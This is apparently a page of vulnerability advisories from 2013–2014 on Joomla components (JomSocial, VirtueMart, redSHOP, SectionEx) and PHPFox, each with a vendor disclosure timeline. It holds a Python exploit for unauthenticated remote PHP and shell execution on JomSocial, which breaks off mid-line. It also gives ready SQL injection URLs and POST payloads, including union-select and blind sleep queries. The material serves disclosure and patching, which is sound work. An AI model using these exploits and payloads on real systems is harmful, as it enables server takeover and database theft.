Joomla! JomSocial component 3.1.0.1 - Remote code execution
-
Joomla! JomSocial component 3.1.0.1 - Remote code execution
-
== Description ==
- Software link: http://www.jomsocial.com/
- Affected versions: All versions = 2.6 and 3.1.0.1 are vulnerable.
- Vulnerability discovered by: Matias Fontanini and Gaston Traberg
== Vulnerability ==
The vulnerability is located in the photos controller,
ajaxUploadAvatar task. The parameters parsed by the Azrul plugin are
not properly sanitized before being used in a call to the
call_user_func_array PHP function. This allows an attacker to execute
arbitrary static class functions, using any amount of user-provided
parameters. This can be leveraged by calling the escape method in the
CStringHelper class to execute arbitrary PHP code.
In order to exploit the vulnerability, no authentication is required.
== Proof of concept ==
See the attached python script which allows executing arbitrary code on
a Jommla! application which has the JomSocial component installed.
== Solution ==
Upgrade the product to the 3.1.0.1 version.
== Report timeline ==
[2013-12-12] Vulnerability reported to vendor.
[2013-12-12] Developers answered back.
[2013-12-23] JomSocial 3.1.0.1 was released, which fixes the the
reported issue.
[2014-01-30] Public disclosure.
#!/usr/bin/python
#
# Joomla! JomSocial component = 2.6 PHP code execution exploit
#
# Authors:
# - Matias Fontanini
# - Gaston Traberg
#
# This exploit allows the execution of PHP code without any prior
# authentication on the Joomla! JomSocial component.
#
# Note that in order to be able to execute PHP code, both the eval
# and assert functions must be enabled. It is also possible to execute
# arbitrary PHP functions, without using them. Therefore, it is possible
# to execute shell commands using system, passthru, etc, as long
# as they are enabled.
#
# Examples:
#
# Execute PHP code:
# ./exploit.py -u http://example.com/index.php -p echo 'Hello World!';
# ./exploit.py -u http://example.com/index.php -p /tmp/script_to_execute.php
#
# Execute shell commands(using system()):
# ./exploit.py -u http://example.com/index.php -s netstat -n
#
# Exploit shell commands(using a user provided function, passthru in this case)
# ./exploit.py -u http://example.com/joomla/index.php -s netstat -natp -c passthru
#
# Exploit execution example:
# $ python exploit.py -u http://example.com/index.php -p 'var_dump(Hello World!);'
# [i] Retrieving cookies and anti-CSRF token... Done
# [+] Executing PHP code...
# string(12) Hello World!
import urllib, urllib2, re, argparse, sys, os
class Exploit:
token_request_data = 'option=com_communityview=frontpage'
exploit_request_data = 'option=communityno_html=1task=azrul_ajaxfunc=photos,ajaxUploadAvatar{0}=1arg2=[_d_,Event]arg3=[_d_,374]arg4=[_d_,{1}]'
json_data = '{{call:[CStringHelper,escape, {1},{0}]}}'
def __init__(self, url, user_agent = None, use_eval = True):
self.url = url
self._set_user_agent(user_agent)
self.use_eval = use_eval
self.token_regex = re.compile('input type=\hidden\ name=\([\w\d]{32})\ value=\1\ \/')
self.cookie, self.token = self._retrieve_token()
self.result_regex = re.compile('method=POST enctype=multipart/form-databr(.*)div id=avatar-upload', re.DOTALL)
self.command_regex = re.compile('(.*)\\[\\[as,ajax_calls,d,\\]', re.DOTALL)
def _set_user_agent(self, user_agent):
self.user_agent = user_agent
def _make_opener(self, add_cookie = True):
opener = urllib2.build_opener()
if add_cookie:
opener.addheaders.append(('Cookie', self.cookie))
opener.addheaders.append(('Referer', self.url))
if self.user_agent:
opener.addheaders.append(('User-Agent', self.user_agent))
return opener
def _retrieve_token(self):
opener = self._make_opener(False)
sys.stdout.write('[i] Retrieving cookies and anti-CSRF token... ')
sys.stdout.flush()
req = opener.open(self.url, Exploit.token_request_data)
data = req.read()
token = self.token_regex.findall(data)
if len(token) 1:
print 'Failed'
raise Exception(Could not retrieve anti-CSRF token)
print 'Done'
return (req.headers['Set-Cookie'], token[0])
def _do_call_function(self, function, parameter):
parameter = parameter.replace('', '\\')
json_data = Exploit.json_data.format(function, parameter)
json_data = urllib2.quote(json_data)
data = Exploit.exploit_request_data.format(self.token, json_data)
opener = self._make_opener()
req = opener.open(self.url, data)
if function == 'assert':
return req.read()
elif function in ['system', 'passthru']:
result = self.command_regex.findall(req.read())
if len(result) == 1
Joomla! VirtueMart component = 2.0.22a - SQL Injection
Joomla! VirtueMart component = 2.0.22a - SQL Injection == Description == - Software link: http://www.virtuemart.net/ - Affected versions: All versions between 2.0.8 and 2.0.22a are vulnerable. - Vulnerability discovered by: Matias Fontanini == Vulnerability == The vulnerability is located in the user controller, removeAddressST task. The virtuemart_userinfo_id parameter is not properly sanitized before being used in the DELETE query performed in it, allowing the execution of arbitrary SQL queries. In order to exploit the vulnerability, an attacker must be authenticated as a customer in the application. However, since the system allows free account registration, this is not a problem. == Proof of concept == The following example URL uses the MySQL sleep function through the injection: http://example.com/index.php?option=com_virtuemartview=usertask=removeAddressSTvirtuemart_userinfo_id=16%22%20and%20sleep(10)%20and%20%22%22%3D%22 == Solution == Upgrade the product to the 2.0.22b version. == Report timeline == [2013-08-15] Vulnerability reported to vendor. [2013-08-16] Developers answered back. [2013-08-22] VirtueMart 2.0.22b was released, which fixes the the reported issue. [2013-08-22] Public disclosure.
Joomla! redSHOP component v1.2 SQL Injection
Joomla! redSHOP component v1.2 SQL Injection == Description == - Product: Joomla! redSHOP component - Product link: http://redcomponent.com/redcomponent/redshop - Vendor: redcomponent - Affected versions: version 1.2 is vulnerable. Other versions might be affected as well. - Vulnerability discovered by: Matias Fontanini == Vulnerability == When using the addtocompare task, the component does not correctly sanitize the pid parameter before using it to construct SQL queries, making it vulnerable to SQL Injection attacks. The following proof of concept request retrieves the database user, name and version: http://example.com/index.php?tmpl=componentoption=com_redshopview=producttask=addtocomparepid=24%22%20and%201=0%20union%20select%201,2,3,4,5,6,7,8,concat_ws%280x203a20,%20user%28%29,%20database%28%29,%20version%28%29%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63%23cmd=addcid=20sid=0.6886686905513422 == Solution == Upgrade the product to the 1.3 version. == Report timeline == [2013-08-02] Vulnerability reported to vendor. [2013-08-02] Developers answered back indicating that an update would be released soon. [2013-08-06] redSHOP 1.3 was released, which fixes the reported issue. [2013-08-08] Public disclosure.
PHPFox v3.6.0 (build3) Multiple SQL Injection vulnerabilities
PHPFox v3.6.0 (build3) Multiple SQL Injection vulnerabilities == Description == - Software link: http://www.phpfox.com - Affected versions: version 3.6.0 (build3) is vulnerable. Other versions might be affected as well. - Vulnerability discovered by: Matias Fontanini == Vulnerabilities == When performing POST requests to /user/browse/view_/, the search[gender] and search[sort_by] parameters are not correctly sanitized before being used to construct SQL queries, making them vulnerable to Blind SQL Injection attacks. == Proof of concept == - For the search[gender] parameter, using the condition 1=0 so that no results are returned: POST /user/browse/view_/ core[security_token]=0db230b2a8b6755b8cfe60d97fb1a613search[gender]=2 and 1=0search[from]=search[to]=search[country]=null=1search[city]=search[zip]=search[keyword]=search[type]=0search[submit]=Submitcustom[1]=custom[2]=custom[3]=custom[4]=custom[5]=custom[6]=custom[7]=search[sort]=u.last_loginsearch[sort_by]=DESC - The search[sort_by] parameter is inserted in a order by clause. Therefore, an attacker could exploit it by making the application sort the results based on a different criteria, depending on whether the query was successful: POST /user/browse/view_/ core[security_token]=0db230b2a8b6755b8cfe60d97fb1a613search[gender]=2search[from]=search[to]=search[country]=null=1search[city]=search[zip]=search[keyword]=search[type]=0search[submit]=Submitcustom[1]=custom[2]=custom[3]=custom[4]=custom[5]=custom[6]=custom[7]=search[sort]=u.last_loginsearch[sort_by]=ASC,(case when (select 1 from dual) then birthday_search else password end) == Solution == Upgrade the product to the 3.6.0 (build6) version. Note that builds 4 and 5 also contain the vulnerability present in the search[sort_by] parameter, but not the other one. == Report timeline == [2013-07-30] Vulnerability reported to vendor. [2013-07-30] Developers answered back indicating that an update would be released soon. [2013-08-07] PHPFox 3.6.0 (build6) was released, which fixed all of the issues reported. [2013-08-07] Public disclosure.
Joomla com_sectionex v2.5.96 SQL Injection vulnerabilities
- Joomla com_sectionex v2.5.96 SQL Injection vulnerabilities - == Description == - Software link: http://stackideas.com/sectionex - Affected versions: version 2.5.96 is vulnerable. Other versions might be affected as well. - Author: Matias Fontanini == Vulnerabilities == When using the category view, the component does not correctly sanitize the filter_order and filter_order_Dir parameters before using them to construct SQL queries, making it vulnerable to SQL Injection attacks. In order to exploit these vulnerabilities, an attacker could perform requests like the following ones: - For the filter_order parameter: POST /index.php?option=com_sectionexview=categoryid=XItemid=Y filter_title=filter_content=limit=0sectionid=20filter_order=1 limit 1 offset 1) union all (select 1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16 from dual)%23filter_order_Dir=DESC - For the filter_order_Dir parameter: POST /index.php?option=com_sectionexview=categoryid=XItemid=Y filter_title=filter_content=limit=0sectionid=20filter_order=1filter_order_Dir=DESC limit 1 offset 1) union all (select 1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16 from dual)%23 == Solution == Upgrade the product to the 2.5.104 version. == Report timeline == [2013-07-30] Vulnerabilities reported to the developers. [2013-07-30] Developers answered back indicating that a new release would be made soon. [2013-08-01] SectionEx 2.5.104 was released, which fixed the issues reported. [2013-08-05] Public disclosure.
